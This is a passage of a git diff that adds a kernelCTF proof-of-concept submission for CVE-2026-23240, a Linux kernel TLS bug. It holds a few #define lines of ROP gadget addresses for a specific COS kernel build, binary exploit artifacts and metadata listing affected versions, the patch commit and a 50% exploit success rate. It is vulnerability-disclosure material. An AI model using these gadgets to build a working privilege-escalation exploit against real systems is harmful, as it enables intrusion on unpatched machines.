POP_RDI 0xffffffff81195e0c +#define POP_RDX 0xffffffff8104ded2 +#define RW_BUFFER 0xffffffff84700000 +#define INFLOOP 0xffffffff81000649 +#define PUSH_RSI_JMP_QWORD_RSI_066 0xffffffff81c6d3e1 diff --git a/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/target.kxdb b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/target.kxdb new file mode 100644 index 000000000..85987a46b Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23240_cos/exploit/cos-113-18244.582.47/target.kxdb differ diff --git a/pocs/linux/kernelctf/CVE-2026-23240_cos/metadata.json b/pocs/linux/kernelctf/CVE-2026-23240_cos/metadata.json new file mode 100644 index 000000000..184a4185f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-23240_cos/metadata.json @@ -0,0 +1,30 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp481" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7bb09315f93dce6acc54bf59e5a95ba7365c2be4", + "cve": "CVE-2026-23240", + "affected_versions": [ + "5.3 - 6.12.74" + ], + "requirements": { + "attack_surface": [ + ], + "capabilities": [ + ], + "kernel_config": [ + "CONFIG_TLS" + ] + } + }, + "exploits": { + "cos-113-18244.582.47": { + "uses": [ + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "50% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2026-23240_cos/original.tar.gz b/pocs/linux/kernelctf/CVE-2026-23240_cos/original.tar.gz new file mode 100644 index 000000000..acca317ce Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-23240_cos/original.tar.gz differ